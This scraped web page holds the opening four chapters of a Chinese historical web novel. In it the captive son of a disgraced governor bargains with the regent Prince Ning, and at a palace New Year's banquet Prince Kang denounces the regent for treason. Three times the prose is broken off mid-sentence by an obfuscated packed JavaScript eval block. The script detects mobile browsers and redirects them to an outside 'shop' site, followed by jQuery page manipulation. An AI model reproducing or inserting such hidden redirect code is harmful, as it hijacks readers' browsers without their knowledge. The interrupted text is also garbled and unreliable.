《将北》 1. 第一章:我为鱼肉 大雪下了一夜。 岳旬是和周遭的七八个仆从大眼瞪小眼瞪到天明的。他被锁在宁王府的上房,没上枷没缚锁,果子点心摆了满桌。寒冬腊月的,屋里的地笼烧得人两颊通红鼻梁冒汗。 屋里点得灯火通明,别说是照到今日天明,照到后日都绰绰有余。 七八个仆从表情麻木,垂手站着,全都不错眼珠盯着他看。 岳旬支楞八叉靠坐在炕床上,劝了那几位一夜,终于有些头晕眼花,口干舌燥起来。 “几位爷,我口渴得实在遭不住,劳驾给口水喝总可以吧?”他软了语调,苦兮兮开了口。 为首的老仆终于掀了一下眼皮,轮转了两下眼珠,从岳旬身上看到水壶身上。嘴唇刚嗡动了两下想要说话,就跟想起什么来了似的一个哆嗦,闭口不言,提起水壶给岳旬倒了一杯热茶,“咣当”一声把杯子蹲在了他眼前。 茶杯里的热气飘飘悠悠往上升,岳旬盯着那热气看了一阵,终于认了命。他暂且歇了作妖的念头,老实端起茶杯喝茶。 茶还没喝到嘴里,只听见“呼啦”一下,冷风呼啸的声音就被卷进了耳朵。常暖乍寒,一下子激得他鼓膜生疼。岳旬一抬眼睛,兜头被寒气打了满脸。 岳旬陡然一个激灵,心里警钟大作—— 锁他的那个人来了! 那位披个大氅,裹风夹雪进了门,看也没看岳旬一眼。 他踏进门槛,周遭立刻有人迎上去,为他脱去氅衣,露出里面一身过肩龙的赤红曳撒来。路过岳旬的时候,那肩上张牙舞爪的龙瞪着两个眼珠子,好似仄了他一眼。 岳旬才调度好的一个“悲愤交加”“不堪受辱”的表情就全做给了龙看。进来那位虽脱了大氅,可身上仍带着寒气,刮擦得岳旬有些脸疼。 那位一面不紧不慢等着仆从为自己奉了一盏茶,好整以暇吹了吹上面的茶叶,慢慢悠悠喝了一口;一面伸出脚来,等着人给他脱靴换鞋。 岳旬僵硬了半天,这时候才觉出手上的茶杯烫,几个指头全在隐隐作痛。 没一个人开口说话,只听见外面风声呼呼,和刮茶盖时候的一点脆瓷响动。 “我听闻你在我这里装疯卖傻、撒娇卖痴闹了三天,连我的老管家都让你糊弄了过去。”茶盏搁在小几上,“咣”地脆响了一下,“我在外面忙了三日,就好吃好喝待了你三日,你究竟还有什么不满?” “嗯?旬哥儿。” 这时候他才微微偏过一点脸来,拿一双丹凤眼,轻飘飘看了岳旬一眼。 岳旬十五六岁了,陡然被人喊了乳名,竟没忍住浑身一个激灵。 太亲厚了。 亲厚得好像一位自家的长辈。 岳旬垂下眼睛,将手中握不住的杯子搁在了小几上,受不了冷似的搓了几下手,不动声色擦掉了手汗。 可宁王并非是他的亲朋故交——这是害死他父亲的人。 “皇叔。”岳旬扯了扯面皮,硬生生扯出一张笑脸来。 他凑在温杳脸跟前,把桃花眼笑成了两弯新月,嘴角还带着个笑涡。他样貌秾丽,年纪又太小,骨相压不住皮相,以至于一笑就显得不大庄重,整个人就往轻佻上去了。 “你知道的,我只是想见你。” 大胤国姓温,宁王单名“杳”字。如今坐龙庭的是个七岁小儿,正是面前这位把持着朝政。民间说他“挟天子以令诸侯”,都浑叫着他“摄政王”。 叫句“皇叔”也是使得的。 只是岳旬不该这么叫,也是太亲厚了。自温杳顶着北鞑的十万大军一路自旧都杀到南边,扶稳了今上的帝位开始,就没人这么唤过他。 他就这么等着温杳,就想看他被恶心得端不住茶盏,溢出滚烫的茶水烫了手。 谁知温杳稳如泰山端着茶盏,吹开茶叶喝了一口,面上竟露出一种观看“彩衣娱亲”的玩味:“喔,那很好。你现在见到了,要同我说什么?” 岳旬打了两千字的腹稿,才要与温杳诉一番衷肠,这一句话甩过来,那两千个字全卡在了喉咙口。 “旬哥儿呀。”温杳放了茶盏,就着岳旬的姿势,抬手捏住了他的后脖颈,凑在他耳边,语气轻缓,哄孩子一样笑了,“耍小聪明是没有用的。” “想要活命,就老实待着。” 他那手是握刀的手,刚捧完滚烫的茶盏,如今捏在岳旬的后脖颈上摩挲了两下。手上茧子的温度就透着皮肤渗进他的脊梁,上下游窜,逼得他浑身的寒意要往外冒。 冷热交替,岳旬好悬才忍住,没当场打出个摆子来。 他没来由的有点烦躁,想喝水了。可却偏偏被温杳制在这里,动弹不得。 “魏广!” 温杳捏着岳旬的后脖颈仰头叫人,很快就从人堆里跨出个十八九的年轻军士,冲着温杳行了礼:“属下在。” 岳旬听着这军士带着点辽东口音,心下便立即明白这恐怕是宁王的嫡系,从辽东带回来的人。再打眼一看打扮,恐怕职位不算太低,少说也是个亲卫一类的人物。 温杳下巴一扬:“把你这身皮扒了,给这小孩换上。” 魏广没明白他主子的意思,指着自己,眼珠子都快瞪出来了。 “他不是说闹着要见我吗?给你放两天假,过了年节再回来。”温杳手掌向上,扣住了岳旬的后脑勺,把他的脸掰了过来,强迫他正视着自己,眯起眼睛笑了,“你既然这么想见我,那不如你就领了魏广的差——好好贴身伺候我几日。” 岳旬皮笑肉不笑扯动了一下嘴角:“求之不得。” 他这不是纯属搬起石头砸自己的脚吗?人没恶心上,反而换来了宁王寸步不离的亲自监视。 魏广不再犹豫,立即脱去衣衫替岳旬换上。 温杳一抬手,周遭几个眼观鼻鼻观口口观心的仆从就全退了下去,门帘响动,屋里很快就只剩下了温杳和岳旬两个人。 屋里又安静下来,窗框都让风吹得“格楞楞”挣动着。温杳撤下了在岳旬脑后控制着他的那只手,把胳膊肘搭在炕几上,眯着眼睛勾起嘴角,也不说话,就那么盯着岳旬。 这位年轻的摄政王恐怕才刚刚弱冠年纪,烛影摇曳下,整个人白得发透。再这么一笑,在岳旬眼里简直就是一尊瓷做的假人。 他知道这瓷人这么看着他是何意,后槽牙快咬碎了。他自暴自弃站起身来,打了一盆热水,洗净了帕子,把水盆端到温杳面前,替他去了外衫。 “让我猜猜你现下心里在想什么?”可恶的瓷人让岳旬端着铜盆,自顾自净了面,“今日受此奇耻大辱,来日定当……” 他把巾子搭在盆边,仰头看着站在面前的岳旬,又是一脸皮笑肉不笑的虚伪表情:“嗯…定当将我剥皮揎草、碎尸万段?” 温杳的瞳仁对上的岳旬的视线,灯光映照下,泛着点琥珀色的光芒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163785|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 岳旬敛了他那副嬉皮笑脸“求之不得”的伪装,神色肃穆下来:“现在周遭也没有旁人,皇叔与我大可不必再演下去了——你抓我来并非是为了要我的命,是也不是?” “哦?”温杳来了兴致,两手扶着炕沿很欣赏点了点头,“说说看?” “前几日我闹着让彭管家帮我出去买东西,回来套了他的话,说这几日有人在太庙哭太祖哭先帝不算,还哭我爹,口口声声说是要替我爹平反翻案。” 这句话吐出来,岳旬背后的冷汗全消,竟然意外地放松下来。他把铜盆往架子上一搁,转头一屁股坐在了炕床上——还是他方才一开始坐的那个位置。 “可辽东一战,我爹究竟有没有通敌叛国尚未可知;究竟是不是因着辽东一战大败,大胤才一败涂地,以至于如今退居金陵,也未可知。 我爹是辽东巡抚,从二品大员,是死在任上的。现今即不曾抓我审问,也不曾论罪定罪,平的是什么反,翻的又是什么案?” 岳旬自嘲地笑了两声:“想必并不是真心要替我和我爹喊冤的。” 温杳面露赞许,看着岳旬就越发觉得有趣,一扬下巴:“很聪明,说下去。” “既不是真心替我爹喊冤,那只能是拿这件事作筏子了——倘若他是被冤枉残害的忠良,那残害忠良的人又是谁?” “勾结外敌毒害先帝、制造冤狱残害忠良、架空幼帝把持朝政。”岳旬每说一句,就往前凑一点,说到最后一个词时,几乎要堵在温杳的眼前,“这一桩桩一件件,不都是冲着皇叔来的吗?” 面对着岳旬的逼视,温杳不置可否,反而一直眯眼微笑着,好似看着一匹在他眼前弓着脊梁炸毛龇牙、撒泼打滚的幼兽。 他这样的威胁与逼视,只能让大胤这位权倾朝野的摄政王觉得,他真是个有意思的小东西。 “所以你把我软禁在你府上,大抵就是为了避免我落到对面手里去,让他们拿捏住我操纵舆论,让你落了下风。或者他们觉得让我死了也好,让我干脆死在你手里最妙。”岳旬自然读出了温杳眼里的意思,他不由的攥紧了拳头,直到骨节发白也不曾松开。 年少轻狂的时候最令人抓心挠肝的不过是“无能为力”。 他如今无权无势也没有倚仗,先前为了探听点消息就连点读书人的脸面也不要了,装疯卖傻磋磨了那彭管家好几日,现如今又为了活命在这里与温杳这样的人虚与委蛇: “所以你决计不会杀我,甚至要好吃好喝地善待我,不然你杀人灭口残害忠良之后的名声可就坐实了。” 如今人方为刀俎,我为鱼肉。这一点外强中干微不足道的威胁,却已经是岳旬浑身上下最大的手段了,他是在拿命赌。 赌宁王觉得他尚有可利用的地方,赌宁王不愿意让自己死在他手里。 “不愧是是岳中丞的公子,果然聪慧非常。你猜的不错,我这回确实不会让你有性命之忧,可以后呢?” 温杳漫不经心抽出自己腰间挎的刀,撩起曳撒的下摆缓慢擦拭着。 “有可能要你命的人可不单只我一个。你确实很聪明,但你如今身上没有功名,不过是个童生,背后也早失了倚仗,要怎么以一己之力替你父亲洗刷冤屈呢?” “小孩儿,没有能力,使尽浑身解数也不过是为人棋子。”温杳擦好了刀,用冰凉冷硬的刀背拍了拍岳旬的脸,“我等着你能来杀我的那一天。” 2. 第二章:指旬为广 宁王歇下的时候已经快天明,好在年节将近百官休沐,清晨的朝会也免了,好歹算是能睡上几个时辰。 温杳歇在里间榻上,岳旬抱个铺盖卷,就打地铺睡他脚底下的地上。 他三天没睡过一个整觉了。如今确保自己性命无虞,实在撑不住,哪怕身下只垫了一床薄褥子,硌得骨头都疼,却也还是沾上枕头就会了周公。 但这样的境地,又怎么能睡得安稳。岳旬混混沌沌,被一团乱梦充作傀儡,牵引着他向前。 一忽儿是他还八九岁的时候,还是光义年间。他外祖和父亲反目成仇,一杆子把他老爹参到辽东贬为广宁知县。 他嚎啕大哭追着他父亲的马车一路跑出京城广安门外,睫毛眉毛上全结成了冰,哆哆嗦嗦在城外站了快一个时辰。 一忽儿又成了他外祖父连同全家处斩那日。 他外祖状若癫狂,指着他仰天大笑,直言:“岳盛非我周家婿,岳旬非我周家孙!我早与这对丧天良克死我女儿的父子恩断义绝!” 一忽儿又是他跟着庆国公姜家南渡的时候。一路上饿殍遍地,千里焦土,庆国公夫人不施脂粉钗环尽散,老母鸡护崽似的张手拢着三个十多岁的半大孩子,惶惶不可终日。 一晚上人也哭鬼也嚎,一觉醒来,浑身发痛。 还不如不睡。 岳旬迷迷糊糊睁开眼睛揉着酸痛的颈子,朦朦胧胧抬眼一看,只瞧见眼前一双黑漆漆的皂靴,再往上看,是八团龙的赤红圆领袍。 他猛然惊醒了过来,一骨碌从铺盖卷里爬起来——宁王竟然已经起了,还洗漱完毕穿戴整齐了。 温杳居高临下看着他,抬起皂靴用靴子背掂了掂岳旬铺在地上的被褥,眼睛里都是笑:“主子都起来了,你还在这睡着,你这个亲卫当得也忒不称职了。” 岳旬一抬眼,温杳眯眼微笑的神情就刀刻斧凿一般印在了他的眼里,他瞳孔猛地收缩了一下,惊了一跳。 但他很快冷静下来,面上一点也不显,默不作声翻身起床卷起了铺盖。 识时务者为俊杰,岳旬深以为然。 他确实毫无依仗,更无权势,昨日虚张声势的的小聪明已经全用完了,现在乖乖待在宁王身边做个听话的“亲卫”,反倒比筹谋着跑出去要安全许多。 温杳一挑眉,看岳旬这神情大抵是吓着了,可他没想到昨日还弓脊背炸毛的幼兽今日竟然这么乖顺,全然没有昨日亮獠牙时那般有趣。 这瓷人大约是对岳旬的反应不大满意,抱臂眯眼,似乎还轻轻“啧”了一声。 但这样的神情转瞬即逝,温杳敛了神色,正了正衣冠,不再与岳旬玩笑:“行了,收拾整齐,该出发了。” 岳旬抓过昨日魏广的亲卫服制着急忙慌往身上套。魏广人高马大,同宁王差不多高,可岳旬却是个身量未足的半大孩子,衣服套上去,袖口还得往里挽一道。 他急吼吼把两条袖子都挽了,套上护臂:“主子,去做什么?” “哟,对自己现在的身份接受得这么良好?连‘主子’都喊上了?我还当你正是轻狂的年纪,又读多了圣贤书,要‘士可杀不可辱’呢。”。温杳把他上上下下打量一番,好像又高兴起来,脸上的笑意都显得真了些,“今日除夕,自然是赴百官宴,与进京的各地藩王和内阁六部九卿诸位堂官一起,同皇上共庆佳节。” 瓷人发笑,分外吓人。 岳旬默默抱住了胳膊,把一身的鸡皮疙瘩自己抖搂了下来。 宁王他老人家长腿一迈,推开门就往外走。岳旬在后面一路小跑地跟,心里暗自腹诽,我是真敢叫主子不错,可您还真敢拿我当亲卫使唤啊? 就他那点打架斗殴练出来的三脚猫功夫,也不知是谁护卫谁。 昨夜落了一夜雪,今早见了太阳就全化成了水,再让冷风一吹又结成了厚冰。岳旬抱着把胤军制式的雁翎刀,跨坐在温杳的马车帘子外,被金陵这个湿乎乎的天冻得脸疼。 宁王府同皇宫也就几步路的距离,他在外面老远就能看见宫墙上明黄的琉璃瓦了。稀薄的太阳光照在琉璃瓦上,再映照进岳旬的眼里,刺得他有些恍惚。 一时间,岳旬竟有些不知今夕何夕,还以为他自个是个二品大员家的小公子,在京城里走街串巷飞鹰走狗呢。 马车猛然颠簸了一下,宫城到了,岳旬也梦醒了。 他跳下车接过温杳的手,扶着人稳稳当当下了马车。 守在宫门口的青袍小内宦见了温杳就点头哈腰迎了上来:“宁王爷来了,皇爷今儿个一大清早就起了,就等着您进宫来同皇爷一起过年呢。” 他满脸堆笑,温杳也不难为人,和岳旬一同卸了佩刀,由那小内宦引着往宫城里走,一偏头看见了岳旬:“王爷今儿个怎么没见带着魏广哥哥——这位小哥是?” “胡说八道。”温杳抬起眼来,只用余光睨了那小内宦一眼,就把人看得当场脸色发青,“睁大你的眼睛看清楚了,这不就是魏广。” 那小内宦浑身一颤,抬手就打自己嘴巴:“奴婢该死,奴婢让猪油糊了眼睛,没瞧清楚。这就是魏广哥哥,这就是魏广哥哥……” 温杳不置可否,只鼻孔出气,慢慢悠悠“哼”了一声,又扯出一张笑脸来:“好奴婢。” 小内宦噤若寒蝉,再不敢说话了。 岳旬没兴趣触大胤第一笑面虎、权倾朝野摄政王、可怕的瓷人、伟大的宁王殿下的霉头,只能在一旁木着脸,心里默默摇头叹气—— 他在这里公然指旬为广,那小内宦恐怕都要以为魏广犯了什么错处让他主子给剁了,现在随便逮个什么人都起名作“魏广”。 几人不再言语,沉默着一路进了寝殿。 温杳进了内殿,撩起下摆同他那七岁的侄儿请安,小皇帝正让人伺候着穿衣;岳旬则被留在外殿阶下站着,跟刚才吓坏了的青袍小内宦一起。 这还是岳旬第一回见得天颜。 大胤的七岁天子讳誉,咧开嘴就能瞧见他缺了一颗门牙。他从几个宫人跟前挣脱出来,一路小跑扑在温杳的腿上,仰起脸来嘿嘿笑:“十二叔,朕得有三五日没见着你了!” “嗯。”温杳瞧着也没多欢喜,面无表情拢过小皇帝,抬起大拇指给孩子把脸上的点心渣子拨拉掉,“臣军务繁忙,给陛下赔罪。” 拨拉了两下,小孩好像才意识到自己脸上有什么东西,肉眼可见紧张起来,眼珠子乱转,往旁边立着的另一个小孩身上瞟。 那个孩子比皇帝大不过两三岁,两个孩子的视线接触,没想出一点对策来,温杳就开了口:“多宝。” 侍立一旁小内宦敛眉垂眼,三步并作两步走过来:“奴婢在。” “你偷宴席上的点心喂给皇爷吃了?嗯?”温杳停了手,面色波澜不惊,语气听着甚至算得上温柔。 多宝低着头,支支吾吾半天,没蹦出一个字来。 温杳当即递了一个眼刀过去: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163786|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明白回话!” 多宝“噗通”一声跪了下来,抖着声音哭腔道:“是。” 温杳腿上贴着的小皇帝揪住了他的衣摆:“十二叔,是朕非要让伴伴偷宴席上的点心的,你不要罚伴伴!” 温杳并不理会他的话,还是问多宝:“皇爷吃点心之前,你自己尝过没有?” “尝过,自然尝过!”多宝猛磕了两个头,“奴婢不敢忘记自己的职责,自然是尝过的。” “倒算是个忠心的奴婢。”温杳终于露出笑脸来,安抚似得拍了拍小皇帝的后背,“就凭着你这个‘忠’字,也不好罚你——只是你记清楚了,如今陛下坐了龙庭,便是天下的君父。今日除夕,饮宴群臣。众人已经陆续到场了,你偏要上宴偷点心,这又是什么规矩!” “天下无不是的君父,错的便只能是你。” 温杳这话一字一句落在阶下站着的岳旬耳朵里,让他不由大不敬地抬头看了那贴在温杳腿上的孩子一眼。 原来天下的君父,竟也不过是个偷吃点心的七岁孩子。 “好了,时候差不多了。”温杳示意宫人为小皇帝温誉戴好冠,“陛下去吧,群臣诸王还等着陛下呢。” 多宝如蒙大赦,赶紧站起来,抬手扶住了小皇帝。 众人行至饮宴的大殿,果然各地藩王、诸位堂官都已经到齐了。温杳引着皇帝入座,立在一旁一同受了山呼万岁,这才自行落了座,就坐在皇帝身侧。 偷吃点心的小孩儿不敢再有错处,干巴巴背了几句给他准备好的场面话,温杳抬手接了他几句,很快就觥筹交错起来。 倒霉的岳旬同诸王侍从一起,待在阶下吹冷风。得亏出门之前温杳让仆从硬是给他喂了些东西吃,不然今日饿也饿得昏过去了。 岳旬苦笑——今日见了温杳这一路又是“指旬为广”又是“天下君父”,他竟然后知后觉地发现,这可怕的瓷人对他还算是温柔的是吧? 这个除夕是大胤南渡后头一个正经节日,虽说刚打完大仗,才安定了没有几日,民生凋敝百废待兴。可向来都是苦一苦百姓,哪里有苦一苦君父的道理? 所以这桌上照样是美酒佳肴,岳旬偷眼看去,尽是民脂民膏。 酒过三巡,几个藩王都有些微醺,摇摇晃晃站起来给皇帝和温杳敬酒。 岳旬就趁着这个时机,不着痕迹地观察着大殿中的诸位天潢贵胄。光义帝登基早,在位时间长,子嗣也多,不比他那短命的倒霉儿子。所以在座的几位年轻藩王基本都是光义帝的皇子——先皇与温杳的兄弟,今上的叔父。 从那几位藩王的身上很明显能看得出光义帝晚年的审美,听闻先皇便生得龙章凤姿,在座几位以温杳为首的年轻藩王更是一个赛一个的俊美,可见这几位母妃们应当都是不可多得美人。 岳旬正支棱着耳朵,顺带拿余光瞟视,努力分辨着这几位藩王谁是谁,下首就呼啦站起来一位年不过二十四五的年轻藩王,大着舌头给小皇帝说了几句祝词。 岳旬赶紧低下头去,屏气凝神——若是他刚才的判断没有错,这应当是康王。 那年轻藩王“当”一下将酒杯搁在了桌上,神色一凛:“陛下,臣有要事要奏!” 小孩儿眼神一下子就飘了,不由往温杳那头瞥了一眼。温杳嘴角勾了起来,冲他一抬下巴。 “奏。” 那年轻藩王环视一周,几乎要憋不住自己脸上的轻狂倨傲:“陛下,温杳当杀!” 3. 第三章:千夫所指 “臣要参宁王温杳,勾结外敌毒害先帝、制造冤狱残害忠良、架空幼帝把持朝政!” 大殿上的歌舞丝竹霎时间停了下来,几道视线齐刷刷朝着温杳看了过去。小皇帝僵在御座上半晌不知该答什么话,求助一样使劲往温杳脸上看,几乎要哭出来。 温杳恍若未见,自顾自为自己斟了一杯酒。 殿下立着的岳旬忽而觉得自己连呼吸声都粗重了起来,一呼一吸在这样的寂静之中显得格外绵长,甚至有些吵闹。 终于,有人打破了这可怕的寂静:“老九,你吃醉了酒!说什么浑话!” “欸,七哥,让他说。”温杳晃了晃杯子,抬起眼眸,冲着出声的老七举了举杯,“咱们不能阻塞忠谏,有什么好的谏言你就让他提出来嘛!我不怕叫人家参!” 温杳抖抖袖子,冲着小皇帝的方向一拱手:“陛下年幼,那本王便斗胆替陛下问话。” “康王,你既说本王勾结外敌,有何证据?” 康王似是就等着他这句话呢,极其自信地上前一步:“还用得着证据?你让叔伯兄弟瞧瞧你那眼珠子,谁不叫你一句小鞑子?” 岳旬猛然抬头,竟不料刚巧和温杳对视上了,也正正好好看清了康王口中说的那一对儿眼珠子。 温杳生得其实很符合大胤汉人的审美,生得白而润。可他却天生生得一双琥珀色的瞳仁,灯下看尤为显眼。 他母亲就生得这样一双琥珀色的眼睛,这是母亲给温杳留下的唯一遗物。 这家伙平时假得像一尊瓷人,可岳旬抬眼那一瞬间却发现了从未有过的戾气在温杳的眼中翻涌起来,带上了一点不属于大胤汉人的、类似兽类的血腥气。 “谁人不知你生母是光义二十六年北鞑进贡的宫人!我去好生探查了一番,竟发现那批宫人里竟然夹着个额尔赫汗同女奴生的小女儿——可不就是你的生母!这么算来,你恐怕还得叫一句占着我大胤半壁江山的那位阿日斯汗一句舅舅!” “哦?你说这个。”温杳面上的表情很快变得无悲无喜,一下一下把酒杯在桌上磕碰摩擦着,发出令人牙酸的声响,“自弘武年间我大胤逐北鞑于捕鱼儿海以北,北鞑称臣,年年纳贡,其中就包括十岁上下的宫人和阉童。” “既然是宫人,被天子看上诞下个皇子公主,那是多少人求不来的天恩。倘使皆若你说的那般,有点子北鞑血统便是通敌的铁证,大胤的藩王宗室恐怕要有十之一二都洗不干净了!” “藩王宗室都敢通敌叛国,列祖列宗的江山岂不是早就要拱手让与他人?”温杳偏过头去,当即点了一个人起来,“你说是不是,六爷爷?” 被喊“六爷爷”的那位虽是在座的辈分最高的一位,四五十岁了。可他到底也经不起这折寿的一声喊,哆哆嗦嗦出了席,“噗通”一声就跪了下来:“陛下明鉴,宁王明鉴,臣绝无通敌叛国之心!” 很不幸,这倒霉蛋子乃是弘武皇帝的玄孙,承袭的是辅国将军的爵位,他那个做亲王的曾祖父就是弘武跟北鞑宫人生的;更不幸的是,他本人的生母也是个北鞑宫人。 再抬起头来,辅国将军的额头都磕出血来了。 温杳并不看那倒霉的辅国将军,反倒是环顾了群臣诸王一眼,冷笑起来:“若论通敌叛国,当初本王守京城九门的时候,诸位身在何处啊?” 他这话一出,在场六部九卿几位堂官身上的冷汗都冒出来了,各个都心虚地不敢看温杳。独那康王一个不知他这话是何意,还梗着脖子要同温杳分辩。 温杳看着他,脸上笑意更盛:“老九,今日撺掇你参我的人、这几天日日夜夜哭太庙的人,有没有告诉过你——” “京城尚未沦陷,各卫所驻军回援京师的时候,是谁率先抱着太子南渡?是谁截住了北上拱卫京师的军队,令其首先应‘拱卫圣驾’?” 他眼里的笑意一分一分冷了下来,只剩下一张纸糊的面具扯着一张笑脸,勉勉强强糊在脸上:“难不成,是京城九门之上挎雁翎抱火铳的我吗?” 康王的脸色变了几分,强行定了定神。 按他心里谋划的那样,他说完“宁王当诛”之后,在座文官应当群起而攻之才对。可为什么他们一个二个却坐在座上,噤若寒蝉,甚至连抬头看温杳一眼都不敢? “毒害先帝……那就更是无稽之谈。”温杳眯起了眼睛,席间的灯光就全聚在了他的眼中,他用目光一一扫视过在座的众人,“天下人皆知,先帝乃是殉国的。上对得起列祖列宗‘天子守国门,君王死社稷’之嘱托,下对得起黎民百姓,京师城破前未让鞑子进城伤及百姓分毫。” “你说这话,污蔑了我事小,岂不是辱没先帝!辱没君父!我还不知大胤宗亲里竟然有你这样无君无父的不孝儿孙!” 温杳声调铿锵,不容辩驳,只阶下低着头的岳旬微微轮转了一下眼珠。 据他所知,“先帝殉国”这个说辞原本就是温杳自己提出来的。 当初京师城破温杳被俘,都以为他是死了。结果后来不知怎么回事,竟让他给逃了出来,还把和打得七零八落的辽东军同余下几个吃败仗的军队重新攒在了一起,且战且走,又和南渡大部队遇上了。 当时包括宣平侯在内的几位勋贵,已然领兵身殉国祚,还是温杳领着辽东军在淮河沿线打了一场大仗,这才止住了北鞑南下的脚步。 当时便有老臣出来问他:“天子何在?” 温杳自然交不出来他那便宜哥哥仁正帝,只好当场大悲大恸,几近呕血:“陛下殉国了。” 至于仁正帝究竟是怎么死的,温杳只怕是洗不太干净。 可他今日这样一顶大帽子下来,先帝不是殉国的那也得是殉国的! 大胤丢了半壁江山,本就人心浮动,一个殉国的先帝不可不算是一剂镇人心、靖浮言的良方。 康王狞笑一声:“任凭你说什么,我只问你——辽东兵败究竟怎么回事?北鞑究竟为何两日之内长驱直入,直下山海关?辽东巡抚为何迄今为止仍未定罪论罪?!” “莫不是岳盛根本没有什么罪过,而是你自己说不清楚,根本不敢论他的罪吧!南下这一路,宣平侯及其世子战死之后皆有追抚,怎么就他岳盛特殊?!宁王殿下坐视宵小污其为叛臣,岂非寒尽天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163787|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下将士之心?” 温杳漫不经心晃了晃杯中的酒:“查案审案、定罪论罪自有三法司定夺,与本王什么相干?我还能拦着不让查不成?” 康王就等着他这句话呢,听见他这么说,不由大笑几声:“说得好!你温十二既然想要构陷忠良,什么事做不出?你既说不会拦着——” “那当初的兵部塘报又在什么地方!这案子至今悬而未决,莫不是你截留了证据!” “哦,我不知道。”温杳满不在乎,一手撑着头,甚至还抿了一口酒,“这案子迄今为止还在三法司卡着,不就是因为当初辽东兵败之后北鞑坚壁清野,连文书都烧了。如今兵部的塘报只余‘北鞑偷袭’‘辽东兵败’‘山海关沦陷’几封,至于你说的那些,我可不知道在何处,天下人都不知在何处。难不成你知道?” 温杳掀起眼皮来,冷笑了一下。 “知道就趁早拿出来,不要截、留、证、据。” 康王当然拿不出证据,可他却丝毫不慌乱,大约是早有了准备。他抬手往阶下一指,冷不丁点了一个人的名字:“那这又是谁!” 阶下侍立着的岳旬当场头皮一麻,一股凉意极快速地从四肢百骸窜了过去:来了! 他壮着胆子抬起头来,阶下虽离大殿中心尚远,可他总觉得康王的手指几乎要戳在他的鼻尖上。 “既然六部九卿堂官都在,那诸位都看仔细了!看看这到底是谁!!”康王朝着岳旬的方向噔噔走了几步,“我听闻今日是你把他从府中带来的,他如今穿着你亲卫的服制,还处处与人说他是魏广。” “你将此人这么不清不白带上殿来,究竟是要做什么!” 端着酒杯眯着眼睛的温杳终于睁开了眼睛,他磕了磕酒杯,也看向岳旬。 一下子,所有人的目光全都看向了岳旬,有如实质的目光如箭矢一般飞来,射透了他的心脏,攥住了他的喉咙,让他喘不上气来。自辽东兵败以来,他每日每夜承受着这样审视的目光,一刻不停。 就算他们不说话,岳旬也能从他们的眼神中读出各种各样的轻蔑与侮辱,伴着从前听过的市井秽语一起席卷而来,洪钟一样自脑内朝外敲响,震得他两耳嗡鸣。 千夫所指,不过如此。 不过好在今日上殿的人都是有些身份的,大约不会朝着他投掷桌上吃不完的残羹冷炙,那他的身体发肤便不会遭到凌辱。 而这样的目光,他也已经受习惯了。 岳旬长吸一口气,在众目睽睽之下稳步踏上殿来,下跪拜倒,五体投地:“陛下万岁,宁王千岁。” 他抬起头来,稳住了自己单薄瘦弱的孩子肩膀,将那一根脊梁骨钢钉似得钉在了自己的后背里,目光灼灼看着康王。 康王看见他的眼神,嘴角都翘起来了。 各路藩王六部堂官都在这里,只要岳旬咬死了岳盛无罪而温杳通敌叛国,在场的文官一人一口都能把温杳撕吧撕吧吃掉,他温杳就是有通天的能耐也翻不过身来了! “诸位仔细看看这孩子,眼睛下面都发青了,分明就是受了天大的委屈,日不得安、夜不能寐!” 4. 第四章:摔杯为号 这话一出,方才安安静静的六部九卿全都骚动起来,在太庙哭过的那一群扁着嘴要喊冤,没明白发生什么的全都往内阁几个老头子脸上看。那几个老头子泥塑木雕一样闭着嘴,回避着这样一个敏感话题。 唯一有点反应的,也不过是朝着窥探岳旬的众人摇了摇头。 岳旬闭上眼睛,缓缓吐出来方才提在心中那口气。 没一个人是真的要替他、替他父亲说几句话的。这不过是康王与宁王一场对弈的棋局,楚河汉界已然拉开,在场诸位皆是以身入局,无形厮杀起来了。 宁王说得对,如今他人微言轻,只能为人棋子。 但至于是做“丢车保帅”那个车,还是做当头炮,就全看他自己了。 岳旬飞快在心里盘算起来。康王如今看似是想给自己的父亲翻案,实则不过是想要扳倒宁王,可他真的能扳倒温杳吗? 温杳手里有兵,与内阁的关系也并非水深火热。这个内阁的支持甚至都不那么要紧,他只要手里有兵,那就够了! 可康王呢?康王有什么? 康王见众人骚动起来,很明显地兴奋了。他抖着嘴角上前几步,要搀扶起岳旬:“你受了什么委屈,尽可以在这里讲出来——来来,你起来回话!” 电光石火之间,岳旬做出了判断,他避开了康王搀扶他的手,依旧跪着:“卑职是宁王殿下的亲卫,主子不曾发话,卑职自然跪着回话。” 康王没想到“是宁王亲卫”这话是从岳旬自己嘴里说出来的,这么猛然被岳旬不软不硬呛了一句,竟然怔愣了一下。 